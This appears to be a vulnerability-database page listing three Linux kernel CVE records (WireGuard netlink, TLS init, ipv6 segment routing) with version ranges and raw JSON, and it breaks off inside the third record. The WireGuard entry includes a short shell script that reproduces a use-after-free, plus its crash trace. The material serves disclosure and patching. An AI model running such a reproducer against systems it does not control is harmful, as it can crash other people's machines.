Linux	Linux	Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < f52be46e3e6ecefc2539119784324f0cbc09620a (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 710a177f347282eea162aec8712beb1f42d5ad87 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < b7cea3a9af0853fdbb1b16633a458f991dde6aac (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 13d107794304306164481d31ce33f8fdb25a9c04 (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 7bedfe4cfa38771840a355970e4437cd52d4046b (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 302b2dfc013baca3dea7ceda383930d9297d231d (git) Affected: e7096c131e5161fa3b8e52a650d7719d2857adfd , < 55b6c738673871c9b0edae05d0c97995c1ff08c4 (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.788Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f52be46e3e6ecefc2539119784324f0cbc09620a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/710a177f347282eea162aec8712beb1f42d5ad87"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7cea3a9af0853fdbb1b16633a458f991dde6aac"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/13d107794304306164481d31ce33f8fdb25a9c04"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7bedfe4cfa38771840a355970e4437cd52d4046b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/302b2dfc013baca3dea7ceda383930d9297d231d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/55b6c738673871c9b0edae05d0c97995c1ff08c4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26951",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:45:36.397018Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:32:58.386Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:47.613Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f52be46e3e6ecefc2539119784324f0cbc09620a",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "710a177f347282eea162aec8712beb1f42d5ad87",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "b7cea3a9af0853fdbb1b16633a458f991dde6aac",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "13d107794304306164481d31ce33f8fdb25a9c04",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "7bedfe4cfa38771840a355970e4437cd52d4046b",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "302b2dfc013baca3dea7ceda383930d9297d231d",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            },
            {
              "lessThan": "55b6c738673871c9b0edae05d0c97995c1ff08c4",
              "status": "affected",
              "version": "e7096c131e5161fa3b8e52a650d7719d2857adfd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireguard/netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwireguard: netlink: check for dangling peer via is_dead instead of empty list\n\nIf all peers are removed via wg_peer_remove_all(), rather than setting\npeer_list to empty, the peer is added to a temporary list with a head on\nthe stack of wg_peer_remove_all(). If a netlink dump is resumed and the\ncursored peer is one that has been removed via wg_peer_remove_all(), it\nwill iterate from that peer and then attempt to dump freed peers.\n\nFix this by instead checking peer-\u003eis_dead, which was explictly created\nfor this purpose. Also move up the device_update_lock lockdep assertion,\nsince reading is_dead relies on that.\n\nIt can be reproduced by a small script like:\n\n    echo \"Setting config...\"\n    ip link add dev wg0 type wireguard\n    wg setconf wg0 /big-config\n    (\n            while true; do\n                    echo \"Showing config...\"\n                    wg showconf wg0 \u003e /dev/null\n            done\n    ) \u0026\n    sleep 4\n    wg setconf wg0 \u003c(printf \"[Peer]\\nPublicKey=$(wg genkey)\\n\")\n\nResulting in:\n\n    BUG: KASAN: slab-use-after-free in __lock_acquire+0x182a/0x1b20\n    Read of size 8 at addr ffff88811956ec70 by task wg/59\n    CPU: 2 PID: 59 Comm: wg Not tainted 6.8.0-rc2-debug+ #5\n    Call Trace:\n     \u003cTASK\u003e\n     dump_stack_lvl+0x47/0x70\n     print_address_description.constprop.0+0x2c/0x380\n     print_report+0xab/0x250\n     kasan_report+0xba/0xf0\n     __lock_acquire+0x182a/0x1b20\n     lock_acquire+0x191/0x4b0\n     down_read+0x80/0x440\n     get_peer+0x140/0xcb0\n     wg_get_device_dump+0x471/0x1130"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:32.304Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f52be46e3e6ecefc2539119784324f0cbc09620a"
        },
        {
          "url": "https://git.kernel.org/stable/c/710a177f347282eea162aec8712beb1f42d5ad87"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7cea3a9af0853fdbb1b16633a458f991dde6aac"
        },
        {
          "url": "https://git.kernel.org/stable/c/13d107794304306164481d31ce33f8fdb25a9c04"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bedfe4cfa38771840a355970e4437cd52d4046b"
        },
        {
          "url": "https://git.kernel.org/stable/c/302b2dfc013baca3dea7ceda383930d9297d231d"
        },
        {
          "url": "https://git.kernel.org/stable/c/55b6c738673871c9b0edae05d0c97995c1ff08c4"
        }
      ],
      "title": "wireguard: netlink: check for dangling peer via is_dead instead of empty list",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26951",
    "datePublished": "2024-05-01T05:18:34.520Z",
    "dateReserved": "2024-02-19T14:20:24.198Z",
    "dateUpdated": "2026-05-12T11:50:47.613Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36489 (GCVE-0-2024-36489)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:53

Title

tls: fix missing memory barrier in tls_init

Summary

In the Linux kernel, the following vulnerability has been resolved: tls: fix missing memory barrier in tls_init In tls_init(), a write memory barrier is missing, and store-store reordering may cause NULL dereference in tls_{setsockopt,getsockopt}. CPU0 CPU1 ----- ----- // In tls_init() // In tls_ctx_create() ctx = kzalloc() ctx->sk_proto = READ_ONCE(sk->sk_prot) -(1) // In update_sk_prot() WRITE_ONCE(sk->sk_prot, tls_prots) -(2) // In sock_common_setsockopt() READ_ONCE(sk->sk_prot)->setsockopt() // In tls_{setsockopt,getsockopt}() ctx->sk_proto->setsockopt() -(3) In the above scenario, when (1) and (2) are reordered, (3) can observe the NULL value of ctx->sk_proto, causing NULL dereference. To fix it, we rely on rcu_assign_pointer() which implies the release barrier semantic. By moving rcu_assign_pointer() after ctx->sk_proto is initialized, we can ensure that ctx->sk_proto are visible when changing sk->sk_prot.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/d72e126e9a36d3d33…
https://git.kernel.org/stable/c/2c260a24cf1c4d30e…
https://git.kernel.org/stable/c/335c8f1566d8e44c3…
https://git.kernel.org/stable/c/ab67c2fd3d070a219…
https://git.kernel.org/stable/c/ef21007a7b581c7fe…
https://git.kernel.org/stable/c/91e61dd7a0af66040…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < d72e126e9a36d3d33889829df8fc90100bb0e071 (git) Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < 2c260a24cf1c4d30ea3646124f766ee46169280b (git) Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < 335c8f1566d8e44c384d16b450a18554896d4e8b (git) Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < ab67c2fd3d070a21914d0c31319d3858ab4e199c (git) Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < ef21007a7b581c7fe64d5a10c320880a033c837b (git) Affected: d5bee7374b68de3c44586d46e9e61ffc97a1e886 , < 91e61dd7a0af660408e87372d8330ceb218be302 (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:37:05.240Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d72e126e9a36d3d33889829df8fc90100bb0e071"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2c260a24cf1c4d30ea3646124f766ee46169280b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/335c8f1566d8e44c384d16b450a18554896d4e8b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ab67c2fd3d070a21914d0c31319d3858ab4e199c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ef21007a7b581c7fe64d5a10c320880a033c837b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/91e61dd7a0af660408e87372d8330ceb218be302"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36489",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:09:28.291219Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:45.616Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:57.193Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/tls/tls_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d72e126e9a36d3d33889829df8fc90100bb0e071",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            },
            {
              "lessThan": "2c260a24cf1c4d30ea3646124f766ee46169280b",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            },
            {
              "lessThan": "335c8f1566d8e44c384d16b450a18554896d4e8b",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            },
            {
              "lessThan": "ab67c2fd3d070a21914d0c31319d3858ab4e199c",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            },
            {
              "lessThan": "ef21007a7b581c7fe64d5a10c320880a033c837b",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            },
            {
              "lessThan": "91e61dd7a0af660408e87372d8330ceb218be302",
              "status": "affected",
              "version": "d5bee7374b68de3c44586d46e9e61ffc97a1e886",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/tls/tls_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: fix missing memory barrier in tls_init\n\nIn tls_init(), a write memory barrier is missing, and store-store\nreordering may cause NULL dereference in tls_{setsockopt,getsockopt}.\n\nCPU0                               CPU1\n-----                              -----\n// In tls_init()\n// In tls_ctx_create()\nctx = kzalloc()\nctx-\u003esk_proto = READ_ONCE(sk-\u003esk_prot) -(1)\n\n// In update_sk_prot()\nWRITE_ONCE(sk-\u003esk_prot, tls_prots)     -(2)\n\n                                   // In sock_common_setsockopt()\n                                   READ_ONCE(sk-\u003esk_prot)-\u003esetsockopt()\n\n                                   // In tls_{setsockopt,getsockopt}()\n                                   ctx-\u003esk_proto-\u003esetsockopt()    -(3)\n\nIn the above scenario, when (1) and (2) are reordered, (3) can observe\nthe NULL value of ctx-\u003esk_proto, causing NULL dereference.\n\nTo fix it, we rely on rcu_assign_pointer() which implies the release\nbarrier semantic. By moving rcu_assign_pointer() after ctx-\u003esk_proto is\ninitialized, we can ensure that ctx-\u003esk_proto are visible when\nchanging sk-\u003esk_prot."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:16.431Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d72e126e9a36d3d33889829df8fc90100bb0e071"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c260a24cf1c4d30ea3646124f766ee46169280b"
        },
        {
          "url": "https://git.kernel.org/stable/c/335c8f1566d8e44c384d16b450a18554896d4e8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab67c2fd3d070a21914d0c31319d3858ab4e199c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef21007a7b581c7fe64d5a10c320880a033c837b"
        },
        {
          "url": "https://git.kernel.org/stable/c/91e61dd7a0af660408e87372d8330ceb218be302"
        }
      ],
      "title": "tls: fix missing memory barrier in tls_init",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36489",
    "datePublished": "2024-06-21T10:18:10.327Z",
    "dateReserved": "2024-06-21T10:12:11.459Z",
    "dateUpdated": "2026-05-12T11:53:57.193Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38612 (GCVE-0-2024-38612)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:56 – Updated: 2026-05-12 11:55

Title

ipv6: sr: fix invalid unregister error path

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: fix invalid unregister error path The error path of seg6_init() is wrong in case CONFIG_IPV6_SEG6_LWTUNNEL is not defined. In that case if seg6_hmac_init() fails, the genl_unregister_family() isn't called. This issue exist since commit 46738b1317e1 ("ipv6: sr: add option to control lwtunnel support"), and commit 5559cea2d5aa ("ipv6: sr: fix possible use-after-free and null-ptr-deref") replaced unregister_pernet_subsys() with genl_unregister_family() in this error path.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-476 - NULL Pointer Dereference
CWE-416 - Use After Free

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/10610575a3ac2a702…
https://git.kernel.org/stable/c/646cd236c55e2cb5f…
https://git.kernel.org/stable/c/00e6335329f23ac6c…
https://git.kernel.org/stable/c/1a63730fb315bb1ba…
https://git.kernel.org/stable/c/e77a3ec7ada84543e…
https://git.kernel.org/stable/c/3398a40dccb88d3a7…
https://git.kernel.org/stable/c/85a70ff1e572160f1…
https://git.kernel.org/stable/c/c04d6a914e890ccea…
https://git.kernel.org/stable/c/160e9d2752181fcf1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 10610575a3ac2a702bf5c57aa931beaf847949c7 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 646cd236c55e2cb5f146fc41bbe4034c4af5b2a4 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 00e6335329f23ac6cf3105931691674e28bc598c (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 1a63730fb315bb1bab97edd69ff58ad45e04bb01 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < e77a3ec7ada84543e75722a1283785a6544de925 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 3398a40dccb88d3a7eef378247a023a78472db66 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 85a70ff1e572160f1eeb096ed48d09a1c9d4d89a (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < c04d6a914e890ccea4a9d11233009a2ee7978bf4 (git) Affected: 46738b1317e169b281ad74690276916e24d1be6d , < 160e9d2752181fcf18c662e74022d77d3164cd45 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "0610575a3ac",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "646cd236c55e",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "00e6335329f2",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "1a63730fb315",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "e77a3ec7ada8",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "3398a40dccb8",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "85a70ff1e572",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "c04d6a914e89",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "160e9d275218",
                "status": "affected",
                "version": "46738b1317e1",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
